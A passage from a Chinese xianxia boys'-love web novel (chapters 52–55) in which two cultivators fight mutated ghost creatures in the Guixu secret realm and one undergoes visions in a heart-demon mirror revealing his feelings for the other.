宴焱略一拧眉, 用灵力探测了一番前后的通道, 一点儿云梧的气息也没有。 看来是真的走散了。 倒在地上的鬼骸尸首失去了行动能力, 但皮肤还在轻微抽搐着,青紫色的肌肤刺啦刺啦冒着白烟。 脖颈处的豁口没有像寻常邪物一样找机会弥合, 反而是越扩越大,不像是身死, 倒像是心死了。 宴焱着了一圈没找着人, 眉头攒紧, 颇有郁气。 见这鬼骸半死不死的躺在角落,高大的身躯横亘在通道之中,看着碍事, 叫宴焱心头又窜起一股无名火。 长腿一迈,宴焱蹙着眉,用脚尖踢了踢鬼骸。 怎么总觉得这鬼骸很眼熟呢? 一个想法在宴焱的脑中缓缓成型。 面部没有五官的东西宴焱并不是第一次见,早在冥界时,那能驱使骨鬼和在鬼市中游走的鬼役也是长了张面部空白的脸。 但鬼役乃是往生河畔的生灵,一辈子依河而生,怎么会来到这里?浑身还异变成了这样? 宴焱垂眸深思之时,忽地,腰间传来细微的震颤。 是那日云梧递给他的灵符! 宴焱略微一愣,旋即勾住衣带,摸找了一番,才将灵符从衣兜里拿出。 灵符的蝴蝶结蔫蔫的,两角悬着的小爱心也散发着暗淡的光芒,此时不停的震颤着,蝴蝶结也打着抖。 宴焱抹开上方腾起的符咒,云梧焦急的声音立刻传来: “焱焱你没事吧?有没有受伤??” 得到宴焱否定的回复后,云梧像是松了口气,又继续道: “方才我想握你手时你便忽然消失了,周围的环境有细微的差别,我推测时我被传送到了另一侧通道里。还有几只鬼骸袭击我,不过不成气候,很快便败下来了。” 云梧一口气说完,顿了顿,道: “你的忽然消失把我吓坏了……” 他的尾音很弱,带着不易察觉的颤抖,真的吓着了。 “没事,我没出事。”宴焱轻声安抚:“我应该还在原来的通道。袭击我的鬼骸如今也死了。但……” 宴焱往后瞥了眼,轻轻蹙眉,同时抬脚往后走。 他和云梧其实没有走多远,走了这么久,理应能够远远看见通道的尽头。 可不光是通道的尽头了,连原先路过的石壁都好像变了个样子。 “我们应该没有办法返回汇合了。” 宴焱道。 云梧也在同时找着方向,听了宴焱这话,迟疑了片刻,提议道: “不如我们就往前走?说不准能汇合到同一个地方。” 通道四通八达,通往不同的地方。但眼下回路已经被堵死,也只好往前走了。 再者说,两个男主齐聚,破局也多几分可能性。 宴焱轻轻应了声。 他一面走,一面低头看,这才发现这灵符的蝴蝶结居然还会随着云梧的声音发出震颤。 此时云梧联系到了宴焱,蝴蝶结也变了模样,褶皱都挺立起来,一晃一晃的。 宴焱挑了挑眉,用手指捏了捏蝴蝶结。 红绸缎,触感很丝滑,宴焱略微用力捻了捻,绸缎就像是生了灵智一样缠绕住了宴焱的指尖,亲昵的碰了碰。 ……好像在点吻。 宴焱被自己的脑补吓到了。 云梧察觉到了宴焱那头轻微的一顿,嘴上的话一停,问道: “怎么了焱焱?” 宴焱滞了片刻,道: “你这灵符上系的蝴蝶结还挺……有灵性的。” 宴焱说完,顿了一会儿,又补了句: “系得也挺好看的。” 听闻宴焱在夸他,那红绸得寸进尺的缠得更紧了,尾巴也打着颤。 那头的云梧也有点儿不好意思,羞赧道: “其实还好啦,系的一般,系蝴蝶结的红绸和我认主过,所以会有点缠人……焱焱要是恼了,打它一下就好了。” 说罢,云梧又着重补充了句: “那些蝴蝶结都是我系的哦。” 云梧的小心思被宴焱听在耳中,顿时觉得点儿好笑。 云兄总是这样,明明是万人景仰的蜀山剑派少宗主,每回被自己夸,都要眼巴巴的盼着他再夸几句。 ……没被人夸过吗? 那畔云梧一刻不停的说话,生怕再出现一开始灵符失联的情况。 “焱焱,这通道好长,要走好久啊。” 宴焱有一搭没一搭的应着。 他微垂着眼睫,指腹有意无意的摸索过灵符的纹路。 “焱焱,等我们汇合了,你一定要继续牵着我的手,这样就不会再走散了。” “我们分开才一会儿,我就好想好想见到你……焱焱,你有没有想我?” 为了增加点宴焱答应的概率,云梧还特地补充道: “我是你最好的好兄弟,我们分开了这么久,你应该也会想我吧……” 哪里有兄弟分开一会儿就想的。 宴焱失笑。 但兄弟都直抒胸臆了,宴焱也不好意思推脱,哄道: “嗯,是有点想。” 宴焱的声音很轻,说这话时,好似有细细的羽翎轻扫着云梧的心头,叫他的心跳又不受控的狂跳。 尽管知道宴焱没有暧昧的意思,仅仅只是停留在可云梧却还是止不住的悸动。 灵符经过精密的工序,能将所有细小的声音波动都传入耳中,一切清晰可闻,就好像宴焱贴着云梧的耳朵,在暧昧的说悄悄话一般。 云梧的耳朵又不争气的红了。 他嗫嚅了会,半晌才开口: “有多想啊?” “是像我一样很想很想,还是……” “只是稍微想一下我。” 即使心里已经有了答案,云梧还是情不自禁的问出这话。 宴焱略微一怔,嘴下也没犹豫,张口就来: “当然是很想你了。” 不对。 宴焱说完这话就觉得不对劲。 怎么这话听起来怪怪的,好像太暧昧了吧……哪会有哥们满嘴都是想你想你的? 但宴焱交朋友的经历也不多,思考片刻,又给云梧找了个借口,想着没准是云梧对待友谊特别珍重,或者是性格使然。 反正绝对不会是故意搞暧昧…… 思来想去也就是几秒钟的事,宴焱顿了顿,还是觉得这句话太腻歪,云梧这么认真的问,他这么认真的答,就好像两人真有点什么见不得人的关系一样。 明明是社会主义兄弟情!! “哈哈哈,云兄你也真会开玩笑,我们就走散了没过一个时辰呢,说什么想不想的……” 宴焱干巴巴的笑了几声,企图让紧绷又火热的气氛缓和一点。 但云梧却没有接腔。 他只是沉默了会,让气氛再度回到奇怪的节点。 “可是焱焱,我没有开玩笑。我真的很想你。” “一个时辰也想。” 宴焱本来还想说些什么,一听这话,舌尖一顿,顿时什么话也说不出来了。 灵符的传音功能有点儿该死的好了,连云梧说这话时轻微的喘息和气音都能听得一清二楚。 尾调闷闷的。 还委屈上了?? 宴焱脚下步伐越走越快。莫名其妙的开始心烦意乱。 人在尴尬的时候就是会不停给自己找事做。 石壁画得好烂,这路也崎岖不平,空气质量好差,云梧为什么要说这种暧昧的话…… 云梧静静的侧耳听着灵符那头的响动。 在说完那句话之后,焱焱的步伐明显乱了,气息也不稳。 若是再仔细听听,似乎还能听到轻轻的心跳声。 一声接着一声。 好像在和自己如鼓的心跳共振。 云梧的唇角不着痕迹的提了提,也一并迈步朝前走。 宴焱在云梧说完暧昧的话之后,就一个劲的闷头走,不说话了,一面走,一面心烦意乱的踢着路上的小石块。 云梧也不想让焱焱这大直男彻底意识到端倪,于是也不说话。 路好像越走越长,越走越安静,安静到只剩下云梧和宴焱一起一伏的呼吸。 第53章 结婚 话音刚落, 灵符那头的声音被掐灭,取而代之的是真真切切的呼唤。 云梧走得很急,见了宴焱, 更是急切的往前迈了几步, 一把拥过宴焱的肩头, 扣得很紧。 他垂下头, 让两个人的胸膛紧紧相贴,闷闷道: “焱焱,终于找到你了。” 高大火热的躯体一旦贴上, 宴焱就免不了沾染上云梧的气息。他不着痕迹的挣扎了两下, 没挣动。于是鼻尖被迫的灌入草木香。 认命的让云梧抱了好一会儿,宴焱才得以挣脱打量周遭的环境。 此处不同于前面被人为规划的平整洞穴,而是一处保留了天然原貌的石洞。嶙峋的石块耸立,黑压压的一片,只有洞口处微弱的萤石在泛着光。 结束拥抱之后,云梧便一勾手指, 轻轻拉了拉宴焱, 低声提醒道: “焱焱, 我们握紧手。” 宴焱本想直接走,但云梧这么一提醒, 他又顿住脚步,回头, 略微迟疑。 云梧已经牵住了宴焱的小手指, 对上宴焱的目光时, 为了增加说服力,又补充了句: “万一再遇到刚刚事情怎么办……” 宴焱拒绝的话在嘴边,又咽了回去。 算了。 见宴焱默认, 云梧薄情眼微眯,光明正大握紧了宴焱的手。他已经不满足于只拉着小拇指了,大手一翻,将宴焱整只右手都裹住,不着痕迹的揉了揉。 云梧的小动作宴焱看在眼里,但想着兄弟不用计较太多,于是也便没说什么,继续朝前走。 方才一路走来,宴焱除却开头遇上的鬼骸便没有再看见其他的了。 反倒是云梧一路上被不少鬼骸追着扑杀。越到后面越多,所以有理由怀疑,那鬼骸的老巢可能就在附近。 似乎在印证宴焱的猜测,阴冷潮湿的石穴里不断传来滴答滴答的水声,和莫名细碎的响动。越往里走,气息就越森冷,冷气丝丝缕缕的攀附着人的的骨头往里渗透。 里边一定藏了什么阴气很重的东西。 宴焱略微蹙眉,脚下不停,径直往里大步走。 洞穴的光线越来越暗,不仅仅潮湿加重,还多了几个若有若无的视线,正缓慢的扫视着宴焱的全身,贪婪融化在浓稠的黑暗里。 宴焱传音: “此处应该有很多潜伏的鬼骸。” 云梧颔首。握着宴焱的力道又一重。 宴焱才刚说完没多久,从东南角就窜出了一只和先前体型十分相似的鬼骸,皮肤也是青紫色,面中平整,四肢着地,锁定了宴焱云梧两人,飞快的扭动着肢体,朝着二人冲来。 鬼骸的战力其实算不上强,但是烦在杀不尽。 宴焱这头刚刚用灵鞭甩飞了一只鬼骸的头颅,下一秒,另一只鬼骸又紧接着从西南角窜了出来。 一只没完,后头一连串跟了四五只,不怕死一般的疯狂逼近。 此处高悬着交叠的钟乳石,将前方的路遮挡得严严实实,可鬼骸的一声声凄厉嘶叫此起彼伏,在钟乳石之后,显然还有许多鬼骸在窝藏。 “这里应该离他们老巢不远了。” 云梧的箐云剑又是狠狠先前一刺,扭头对着宴焱交代道。 宴焱点头,将溟的身躯骤然放大,形成一支巨大的鞭绳,再重重的的甩出,一连串的甩飞了好几只扑来的鬼骸。 “直接往前走吧!” 停留在这里只会招惹更多的鬼骸,宴焱不想浪费时间,回头路是不可能走的,只有往前尽快的通过才是唯一的办法。 云梧心领神会,立刻跟上宴焱的步伐,二人硬生生的从如浪潮般冲来的鬼骸中撕开了一条道。 果不其然,再往前走,那鬼骸更是如同疯了一般的交叠涌来,嘶哑难听的声音此起彼伏,一声比一声高,一声比一声凄厉。 箐云剑一甩,斜侧着刺入了鬼骸的胸口,拔开时,白雾腾起,与此同时,黏腻的脓水也一并从伤口中涌出。 宴焱略微侧眸,眉间一蹙,同时望向前方。 刚刚被云梧杀死的鬼骸能流出实体的液水,已经脱离的寻常鬼骸的表现,更像是发生了异常病变。 撕开一重又一重的鬼骸潮,前方那被它们极力掩盖的巢穴也显露而出。 是一个巨大的坑洞!! 那坑洞实在太过庞大,起码能容纳上万具尸体。此时里头层层叠叠的堆满的蠕动挣扎的鬼骸。 它们见了人,就开始齐齐的嘶叫着,挣扎着想要爬出坑洞。 但一只鬼骸拽着上一只鬼骸的腿,多数鬼骸都只能被下面的鬼骸潮所吞噬,沦为上层逃出去的鬼骸垫脚石。 在扑来又被迅速刺死的鬼骸间隙中,宴焱努力观察着巢穴状况,眉间越皱越紧。 多数在坑底的鬼骸气息微弱,变异的特征越来越明显,甚至又了类人的特征,面庞隐约有了五官轮廓。 在厮杀的间隙,宴焱道:“这鬼骸实在太像鬼役了。” 云梧利落的抽剑,一脚踹飞一只鬼骸,点头道: “我也有这种感觉。他们和冥界往生河畔的鬼役有着同源的气息。但冥界鬼役怎么会出现在归墟秘境里?” 宴焱略微垂眸,打定主意,简单交代道:“你帮我掩护。” 随即他凝神,干脆揪住一只在地上痛苦蠕动的鬼骸头颅,用灵力粗暴的注入它的脑海。 九转灵体能同灵体共鸣,也能一定程度的读取灵体的一部分记忆。 被宴焱遏住的鬼骸发出嘶叫,颈部肌肉剧烈的抽搐着,爆出根根青筋。 鬼骸的脑容量不大,对大部分的事物只有模糊的印象,有时甚至仅有支离破碎的画面。 但这也足够了。 云梧在上方飞快的斩杀飞扑来的鬼骸,宴焱则是微屈着身体,凝神将鬼骸的记忆读取了一遍。 熟悉的宽大河流,繁华的鬼市掠影。 还真是鬼役。 宴焱抬眼,手下动作一松,鬼骸失去了支撑,立刻倒在了地上,抽搐几下便不动了。 云梧侧眸,瞧见宴焱严肃的表情,对答案也有了底。 “确实是鬼役。” 果不其然,宴焱开口道。 冥界鬼役大批量的出逃冥界,还变异成了鬼骸这种邪物……一定是往生河出了问题。 作为六界生灵轮回必经之路的往生河一旦有事,那必定是能让六界大乱的大事了。 宴焱云梧相视一眼,都瞧见了彼此眼底的凝重。 鬼骸潮一刻不停的涌来,二人携手齐心协力将那条道路越扩越开,逐渐要逼近那巨大的坑洞。 离得近了,瞧得也更仔细。 坑洞的石壁上滋滋冒着白雾,如同煮熟的锅炉壁,不断的吞噬攀爬的鬼骸躯体。 鬼骸们扭曲纠缠,下端不停发出孱弱的呻吟,不断有鬼骸被踩到底下,任由它四面八方的同类爬上它的身体,它的头,直到整个鬼骸被吞噬。 它们在自相残杀,在用同伴的魂魄做养料,以换取爬出坑洞的机会。 与其说是巢,不如说这里是一个用来炼化鬼骸魂魄的巨大熔炉。 宴焱往前再走几步,踏出的那只那只脚距离坑洞只有几步之遥,那些鬼骸闻到了新鲜的人气,挣扎得更加剧烈。 翻滚的肢体腾起又落下,更有甚者被踩踏得在瞬间分崩离析,成了一滩滩烂肉,整个坑洞犹如煮沸的水,表面不停的翻滚着。 就在宴焱蹙眉,打算利用灵鞭渡过这宽大的坑洞之时,忽地,大地发出了猛烈的震颤! 先是略微的晃动,脚底被震得发麻。接着,就是地动山摇般得猛烈摇晃,头顶上不住的滚下一颗颗剥落的石块。 地震了? 不对,是有水溢出来了。 那坑洞的石壁像是漏水的勺,忽然疯狂的渗着水,准确来说不是水,而是一片又一片银色的液体,发了海啸一般,瞬间就淹没了所有的鬼骸。 液体浓稠而银白,是水银。 水银在接触到疯狂逃逸的鬼骸之后,便滋滋的侵蚀着鬼骸的躯体,让它们不停的发出凄厉的叫声。 一阵又一阵,此起彼伏。 整个坑洞雾气蒸腾,犹如蒸锅,全都是水银触及鬼骸肌肤表面溅出的雾气。 水银不光在吞噬鬼骸的□□,也在侵蚀它们支离破碎的魂魄。有什么东西在以鬼骸的魂魄为养料,缓缓的成型。 宴焱和云梧相继退了一步。 渐渐的,大部分的鬼骸都被这水银吞噬。 无论它们先前爬到多高,但只要被溅上一滴银白的水银,全身都会在瞬息之间被侵蚀。 从滴落之地起,一圈圈扩散乌黑的腐肉,直到全身都被吞噬。而后鬼骸便脱力跌落水银池子里,再溅起高高的水银,拖着同伴下水,如此往复。 眼见先前还活蹦乱跳的鬼骸群被吞噬得干净,先前此起彼伏的嘶叫也逐渐变得细弱,逐渐消失不见,散在水银‘咕咚咕咚’的闷响里,石洞里骤然恢复了诡异的宁静。 那水银还在缓缓的渗透着,待到逐渐满上了坑洞的边缘,也便停止了渗透,逐渐凝固成型,液体因张力绷出一道细弱的弧形,银色表面晃着二人凝重的脸。 “是心魔镜。” 云梧率先开口。 他曾在旧志上读过这心魔镜,本是归墟镜大能落下的法宝,能窥探修士的心魔。 本来大能飞升之后这心魔镜就落在了归墟秘境之中,万年前魂灵叛逃时也曾利用过这心魔镜,但而后魂灵便被封印,心魔镜也就再也没有出现过。 但如今心魔镜不但出现,而且还是以魂魄为养料才成型。 云梧眉梢微微蹙起,转头,对着宴焱道: “心魔镜的出现很有问题,或许是归墟秘境封印的魂灵出事了。” 他说这话的时候,语气并不确定,但二人都心知肚明,八成就是因此。 冥界大乱,归墟秘境的封印也出了差错……外头到底发生了什么? 几息之间,心魔镜彻底成型,银白透亮的镜面清晰的倒映着人影。坑洞成了天然的湖,水银填满了湖,湖面成镜,犹如一张巨大的银镜。 只要看上一眼,就会有被吸纳元神而强行开启心魔镜的风险。 宴焱和云梧都不可避免的同心魔镜对视,湖面很快漾起细小的波澜,一圈又一圈,很快扩大到整个湖面。 涟漪不断,倒映着所选之人的身影。 不过,没有宴焱的身影,只有云梧的脸。 心魔镜选中了云梧。 宴焱略微侧眸,瞧了眼云梧。 被心魔镜选中,即是坏事也是好事,好在能够提前预知修士的心魔所在,却也坏在提前预知心魔,也会有走火入魔的风险。 宴焱抬起手,主动捏了捏云梧的手,轻声道: “云兄你放心,我替你护法。” 云梧珍重的望向宴焱,轻轻点了点头。 心魔镜一旦开始,形成魔障的速度就会很快,所以宴焱和云梧都不敢耽搁,凝神,将视线都放在了前方的心魔镜之上。 心魔心魔,顾名思义,是心中执念。 随着水银饱满的轮廓之中逐渐显现出若隐若现的人像,云梧的元神也被撺掇,被困在了眼前的一方小世界里。 宴焱作为旁观者,只能看到心魔的片面影像,往往只有一张或者两张的画面,看不了太多。 但仅仅是一眼,却让宴焱怔在了原地。 云兄的心魔镜里印着的不是别人,正是他宴焱本人! 没等宴焱生气,气云梧原来还把自己当心头之患。但下一秒,他却又愣了愣。 镜子里的画面越来越清晰,镜中的自己居然还身着一袭华丽的红色婚袍。 画面之中·,锣鼓喧天,普天欢庆。长长的迎亲队伍撑着花轿,吹着喇叭,举着高大的婚扇矗立在花轿两侧。 红床开路,万数的仆从一路摇摇晃晃的吹着喇叭,从山头排到了山脚,人人面露喜色,大声贺喜。 是自己结婚的画面……? 为什么云兄会害怕自己结婚??? 宴焱的面庞凝固了下。 他略微侧眸,迟疑的将视线落在云梧身上,却见云梧被心魔镜魇住了,闭着眼,表情却是苦痛万分,眉头蹙起,是化不开的愁绪。 云梧张着唇,在呢喃着什么。 宴焱仔细凑过去辨认了一番,才确定叫的是他的名字。 “焱焱、焱焱。” 声音很小,母音混沌,是梦呓,却能清楚的辨认出他的苦楚。 下一秒,云梧的眼尾甚至还渗出了点儿晶莹的水光,闪腻腻的,点在眼尾,半掉不掉。 这么痛苦的?? 宴焱微微睁大凤眸,凑近了点,仔仔细细的扫了眼云梧。 瞧云兄浓眉大眼的,没想到啊,兄弟结婚居然还能感动成这样!! 但宴焱仔细想了又想,没道理,兄弟结婚感动就算了,怎么会被心魔镜选中呢?感动又并非痛苦,定是有什么让云梧感到不高兴了。 难不成是他结婚的对象是云梧道侣?? 宴焱摸着下巴,合理揣测。 但他宴焱这么正直,云兄怎么能把他想成那种人?朋友妻不可欺的道理他宴焱还是懂得的。 又难道是云兄触景生情,见了他结婚就想到他和他道侣失败的结契? 也不对啊,若是云兄的心结是他的道侣,那为何心魔镜不呈现他道侣的模样,要显他宴焱的脸呢? 宴焱苦思不得其解,只得继续盯着心魔镜。 想来云梧在心魔镜里已经过了一个小剧情了,于是心魔镜的画面又变动了。 画面被细化,这一次,宴焱发现‘自己’出现在了洞房里。 花烛秉灯,桂果满地,红盖遮脸。 只是…… 宴焱一皱眉。 为什么自己是盖着盖头的那个?? 再一晃眼,却见洞房外窜进了个身影,这一看,可把宴焱看得一愣又一愣的。 自己成了‘新娘’也便罢了,为什么那‘新郎官’还是条裹着红绸,一扭一扭,颇显滑稽的…… 黑蛇?? 第54章 心魔 黑蛇穿着一身滑稽的喜袍也就罢了, 长得还歪瓜裂枣,斜眼粗鼻,一脸好色的接近‘宴焱’。 甚至尾巴一翘, 就要对‘宴焱’动手动脚。 宴焱:…… 这不对吧?? 但云梧显然很吃这套, 眉头越皱越紧, 眼尾水光烁烁。 他盘腿而坐, 嘴中喃喃更加频繁,甚至还有‘死蛇’‘去死’等等字眼。 活脱脱一副……被人抢了老婆的模样。 宴焱斟酌着,面露迟疑。 但云兄好像挺讨厌黑蛇的, 所以肯定不是把黑蛇当老婆了, 那便只剩下最后一种可能性! ——云兄太担心兄弟被蛇缠上了!! 宴焱眉眼微松。这解释可比‘云兄怀疑自己觊觎云兄道侣’好接受多了!! 但云梧这头可不好过。心魔镜不愧是上古遗留的秘宝,十分精准的把握住了修士的心魔。心魔镜幻化出的假象足以以假乱真,将修士魇住,越拖越深。 眼见云梧眉头蹙起,面中逐渐流露几分狠戾,胸膛轻微起伏着。 宴焱收起不着边际的想象, 将视线重新落在云梧的身上, 眉眼略有凝重。 云兄被拽进去了。 心魔的产生其实很简单, 先是修士有执念,而后在修炼时被执念入侵, 无法静心,长此以往, 便会形成一股心魔, 再也无法入定。 眼下云梧的状态没有宴焱想象中的乐观, 反而还有早期心魔成型的征兆。 云梧心魔中有宴焱,所以宴焱自然不会逃避,他等了一会, 仔细观察着云梧的状态。 气息不稳,郁气外显。 宴焱皱眉,再也不迟疑,往前大踏一步,俯下身子,伸出一只手,轻轻握住了云梧搭在膝头的手。 云梧的手一直很热,有一层不容忽视的剑茧。宴焱的手一经触碰,即使是云梧还在梦魇中,但那大手却准确的寻到了方向,一把反客为主,握紧了宴焱,力道很大,不容忽视的往下一拽。 考虑到云兄在经历心魔镜的考验,宴焱也就纵容着,弯下腰,任由云梧的力道将他牵得很近。 熟悉的竹香扑面而来。 宴焱微微低着头,于是如瀑的乌发垂下几缕,发尾微蜷,有一搭没一搭的扫着云梧的脸颊,细细的,痒痒的,还有宴焱特有的香气。 这一招果然好使。 云梧蹙起的眉峰被抚平,神态也放松下来,不知心魔镜发生了什么变化,云梧的嘴角居然还涌上了几分笑意…… 三分羞赧三分期待还有四分跃跃欲试。 宴焱凤眸微睁,诧异的扫了又扫云梧‘荡漾’的表情,又转头困惑的望了眼心魔镜,但心魔镜上什么也没有,外人看不见具体的情形,宴焱只好又转回头,惊疑不定的继续打量。 云兄这是梦到什么了?笑的这么开心? 眼见这局心魔被云梧破解,心魔镜明显不甘心,马不停蹄的又开始制造起下一轮幻境。 水面从中间被人打破,涟漪一刻不停的扩大,画面也变得支离破碎。 但很快,液体又轻轻晃动,先是轮廓变得清明,逐渐开始呈现另一番景象。 这一次的幻境剪影的主角倒是云梧本人了。 入目是一处阆苑琼楼,玉色铺就宫殿各处,山巅的晨光映在玉阶之上,晃开一片凉薄的冷色。 各处陈设有点儿眼熟,似乎是火翎峰的山形。 但熟悉的小径,竹林,木屋,全不见了,取而代之的是这处高大辉煌、甚至有点儿冰冷的仙殿。 殿里寂寥无人,唯有三千玉阶尽处,高坐小憩的云梧。 箐云剑安静的落在云梧身边,一动不动。 忽地,他醒了,怅然的睁开眼。那双薄情眼还是年轻的模样,风华依旧,但周身的气场却变了,是宴焱从未见过的淡漠疏离。 或许是想练剑,云梧抬起手,一道又一道剑法挥出。 落剑的剑势大道至简,返璞归真,已然是人剑合一。 系统也在一旁看着,见了这画面,立刻就知道了这是什么: “宿主,这好像是原书里云梧的结局。” 它一面说着,一面挥舞短翅,从系统空间里掏出书籍,立刻开始了翻找。 “《问道》最后一章:成神,云梧在后期悟到了剑道真谛,并且一统六界,还将无情道修到了圆满,成为了三万年以来唯一飞升的剑仙……至此问道终结。” 系统一口气念完,宴焱也听着,但眉头却越来越紧。 一统六界,得问剑道,飞升成仙。 这三样东西哪一个不是天下修士毕生的追求?甚至他宴焱也不能免落俗套,扪心自问,宴焱听了这结局也不停的心动。 但为什么,这种结局会出现在心魔镜里? 这样难道不好吗? 宴焱不能理解。 对他来说,能够成仙问道就是一生所求了。云梧既然都有了这些,还有什么不满足的?? 思即此,宴焱目光下滑一寸,落在了云梧的脸上。 云梧一扫方才的喜气。 这一次心魔镜带来的痛苦没有那么的猛烈,却持续了很久。而且是越来越苦,越来越痛,云梧的眉峰揪得很紧,化不开眉眼中浓重的郁气。 宴焱的目光顿了顿。 云梧的痛苦不似做假,倒让宴焱心中的疑云更重。 再一眼,那画面又渐渐的淡去,水波一层接着一层,模糊的仙殿的剪影,最后剩下了空白的银色湖面。 云梧的呼吸很急促,咬着牙,肌肉绷得很紧,还在和心魔镜较着劲。 良久,他的脊背微微颤抖了片刻,这才猛然吐出一口浊气。 心魔镜的这一劫终于过去了。 但云梧的眉头却还是没有舒展,重重的,蹙在眉间,缓缓睁开的眼里满是倦色和戾气。 宴焱呼吸顿了顿,迟疑的伸出手,拍了拍云梧的肩头。 “云兄,恭喜你过了心魔镜。” 他没有开口问心魔镜中的景象。心魔是修士很隐私的东西,甚至连道侣都不能见。 掌握了修士心魔,一定程度上的就掌握了修士的命脉。 宴焱当然不会逾矩的去问心结究竟在何处。 他把握着分寸,字字斟酌,顿了会,才道: “云兄,你心魔劫数刚过,心境还不稳,还是先打坐巩固为好。” “我就不做叨扰,去远处替你护法。” 说着这话,宴焱便要起身,朝着石洞的另一角走去。 可下一秒,一只宽厚的掌却猛的把住了宴焱的雪腕,轻轻往后拉了拉。 “别走。” 云梧的声音带着疲倦。 宴焱刚迈出的脚步一顿,随即诧异的回过头。 对上的薄情眼却没了方才的戾气,取而代之的是满眼的哀求。 “留下陪陪我好不好。焱焱。” 云梧的力道重,却掐着点,不会让宴焱感受到疼痛或是强硬。一下又一下轻轻的扯着他的手,他仰着头,上扬的眼尾可怜兮兮的,还腻着未干的水光。 宴焱微愣,转过身。 “可是云兄……” 他想说出一点儿拒绝的话,毕竟按照常理来说,没有人会愿意在接受心魔镜之后,在其他人面前袒露自己的脆弱。 可此时说要他留下的是云梧。 宴焱张了张唇,又张了张唇,想说点诸如‘就算是兄弟也要留点提防’‘不要这么相信被人’‘我还是你的宿敌呢’之类的话。 可对上云梧真挚的眸子时,这些话统统都被宴焱咽了回去,化作了一声叹。 ‘好。’ 宴焱也盘下了腿,刚想在他旁边打坐,可云梧却又马上贴了上来。 手臂圈住宴焱的腰肢,大脑袋不由分说的凑了上来,栖在宴焱的肩头。 他把宴焱搂得很紧。 手臂缓缓的,缓缓的,收紧。像是一点点在蚕食着猎物。 云梧的声音还是那么闷,那么沉,低低的,好像是憋狠了。 “焱焱,我刚刚真的好害怕。真的好怕。” 宴焱的身躯一滞,心里很想问,想问云梧到底是在怕什么。 但理智还是压制了他的疑问,迫使他沉下来,听着云梧的话。 云梧的身躯很热,毛燥燥的,一贴上来,那温度就和入侵似的,透过衣料度到宴焱的身体上。 两个人要是抱久了,体温也就变得一致了。好像冥冥之中被迫打上了另一个人的烙印一样。 宴焱有一搭没一搭的想着,轻轻扭了扭身体,却被云梧按住。脑袋继续蹭着。 他是从背后环抱住宴焱的,高大的体型使得他轻而易举的就能把宴焱罩在怀里。 两颗心脏隔着皮肉衣料,都能听到彼此的节奏。贴着跳得久了,就在某一时刻达成和谐的节奏,缓缓地,沉沉地,打着拍子,就好像是紧紧的裹住彼此,一起有力的跳动一样。 云梧真的怕极了,手臂一遍遍缩紧。听着宴焱的心跳,在一次又一次的确认着什么。 半晌,他才开口,把方才没说完的话补完。 “我怕看不见你。” “真的真的好怕。” 第55章 出逃 云梧的怀抱又沉又重。 宴焱被他抱的久了, 本来想挣开,但奈何云梧箍得很紧,他挣脱不得, 只能任由他抱了很久。 云梧一面抱着, 一面嘴里喃喃自语, 但翻来覆去无非就是原来那几句, 什么‘不想离开你’‘抱一会儿就好了’。 宴焱听得耳朵生茧,可听着听着,或许是因为云梧的状态太差, 又或许是他言语真挚, 宴焱竟然也不自觉的软了态度,最后放弃挣扎,任由云梧念念叨叨。 算了,谁让云梧是自己的好兄弟呢? 宴焱无奈的想着。 心魔镜自结束之后,水面便缓缓褪去,漏出一圈干涸的石壁, 鬼骸被炼化得完全, 连一点儿魂魄也没留下, 尸体赫然消失不见。 随着水位的下降,那万人坑洞之后的一处石壁忽地动了, 也跟着缓缓的后退,整个石洞发出隆隆的巨响, 不断的有小石块从上空剥落, 滚到地面。 云梧当机立断的直起身, 松手捏诀,立起一道防护屏障,将宴焱牢牢的保护在里边。 宴焱眉梢一紧, 也戒备的抬眼,眸中没了刚才的纵容,手下灵气氤氲。 此处通道灵气丰厚,机关也是一道接着一道,很显然他们误打误撞的到了归墟秘境的最核心地带。 接下来的每一瞬,都有可能再遇到凶险万分的袭击。 云梧自然也意识到了这点,同宴焱先后站起身,箐云剑出鞘,锋利的剑尖对准了缓慢移动的石壁。 嶙峋凹凸的石壁先是往后移动了几丈远,猛的顿住,随后,便是轰隆隆突兀的钝响,石壁赫然向下塌缩。 与此同时,石壁塌缩之后,便露出了一寸平整的金色。 规整的,光滑的,显然是由人工切割过的。 宴焱握着鞭柄的手一紧,眉头越皱越深。 有人工雕琢的痕迹,意味着是大能留下的机关,大概率会有一场恶战。 随着石壁塌陷的越来越快,那金色也越扩越大,显现出一道厚重的金门。 金色并不闪,反而色泽很暗淡,不像是普通的金,甚至透着纹路,意义不详,却带有灵力。 云梧的唇一抿,皱眉,手中箐云剑下落一寸。 这纹路很熟悉,他曾在叩心台封印万年叛逃的魂灵之地见过。 只不过叩天台是将魂灵封印在山峰顶端的玉柱之下,柱体通身有类似的铭文,由命修严加看守,慢慢炼化成整个冀州的灵气养料。 “焱焱。”云梧侧头,凝重道:“我们可能已经到了归墟秘境的最核心地带了。” “此处应该是归墟秘境封印魂灵的地方。” 魂灵? 听了云梧的话,宴焱略一挑眉。 六界众人皆知,万年前的那场魂灵叛逃说是意外,其实也能算作人为。 那时六界纷乱,正道没落了数万年。邪修魔修没有顾忌的在各界大肆屠杀,相互倾轧,吞食地盘。 大屠杀导致数以万计的生灵在短时间内涌入冥界,就像养蛊一样的养成了几个邪魔魂灵。而后魂灵叛逃冥界,不顾六界规则,潜入其他地界为祸四方。 万年志中记载,那时天地沦陷为一片炼狱之景,不光是人间的疾病和各种自然灾害,连仙界也遭了殃,灵气混乱,死伤修士无数。 魂灵叛逃出冥界有违六界规则,天道当然看不下去,降下天罚。 正道借此机会崛起,蜀山剑派等老牌宗门一起协力将叛逃的魂灵封印于各界各地,光是仙界冀州,就有归墟秘境和叩天台两处封印之地。 至此,正道崛起,魔界实力被大大削弱。 叩天台也因辅助封印有功,从一个不入流的势力到被蜀山剑宗所庇护,跃升到了正道数一数二的宗门。 思即此,宴焱的思维顿了顿,有点儿疑惑: “可那魂灵不应该早就被归墟秘境吸收作了养料吗,为什么还需要封印?” 云梧眉间愈发凝重,缓缓摇了摇头。 “叛逃魂灵不同于普通魂灵,它们并不是生灵,准确来说是六界亡魂的怨气。是六界运作的负面产物。” 宴焱略微点头,听懂了云梧的比喻。 六界就算是一台巨大的机器,生灵从冥界转生,再去往各地投胎往生,一切运行得看似很好。 但机器总会产生有害于空气的烟雾。而叛逃的魂灵就是产生的有害气体。 本来冥界的规则是可以处理一定的‘有害气体’,但因为忽然爆发的屠杀,导致冥界这台‘机器’运转过载,所以‘有害气体’就不受控制的溢出,污染‘空气’,为祸六界。 云梧继续道: 